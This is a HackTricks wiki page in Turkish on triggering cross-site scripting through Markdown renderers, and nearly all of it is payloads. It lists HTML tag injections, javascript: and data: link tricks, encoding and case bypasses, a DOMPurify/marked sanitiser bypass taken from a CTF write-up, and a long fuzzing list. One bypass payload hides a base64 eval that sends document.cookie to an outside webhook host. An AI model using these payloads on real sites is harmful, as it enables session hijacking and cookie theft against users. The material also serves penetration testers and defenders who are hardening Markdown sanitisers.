XSS in Markdown

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!
Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.

Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında XSS tetiklemek için kullanabileceğiniz birkaç seçenek vardır.

HTML etiketleri

Markdown'da XSS elde etmenin en yaygın yolu, javascript'i çalıştıran yaygın HTML etiketlerini enjekte etmektir, çünkü birçok markdown yorumlayıcısı HTML'yi de kabul edecektir.

html

<!-- XSS with regular tags -->
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />

Daha fazla örneği hacktricks'in ana XSS sayfasında bulabilirsiniz.

Javascript bağlantıları

HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimi ile oynamayı deneyebilirsiniz:

html

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic')) [Local
Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL')) [In
Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img olay sözdizimi istismarı

markdown

![Uh oh...](<"onerror="alert('XSS')>)
![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
![Escape SRC - onerror](<"onerror="alert('ImageOnError')>)

HTML Sanitiser Markdown Bypass

Aşağıdaki kod HTML girişi temizliyor ve ardından markdown ayrıştırıcısına geçiriyor, bu durumda, XSS, Markdown ve DOMPurify arasındaki yanlış yorumlamalardan faydalanarak tetiklenebilir.

html

<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search)
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(
DOMPurify.sanitize(qs.get("content"))
)
}
</script>

Payloadlar örneği:

html

<div
id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
-----------------------------------------------
<a
title="a

<img src=x onerror=alert(1)>"
>yep</a
>
------------------------------------------------ [x](y '<style>
')<!--
</style>
<div id="x--><img src=1 onerror=alert(1)>"></div>
---------------------------------------------- [
<p
x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
) ---------------------------------------------- `
<p x="`<img src=x onerror=alert(1)>"></p>
</div>

Fuzzing

html

<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<javascript:alert('XSS')>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](�javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

abonelik planlarını kontrol edin!
Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.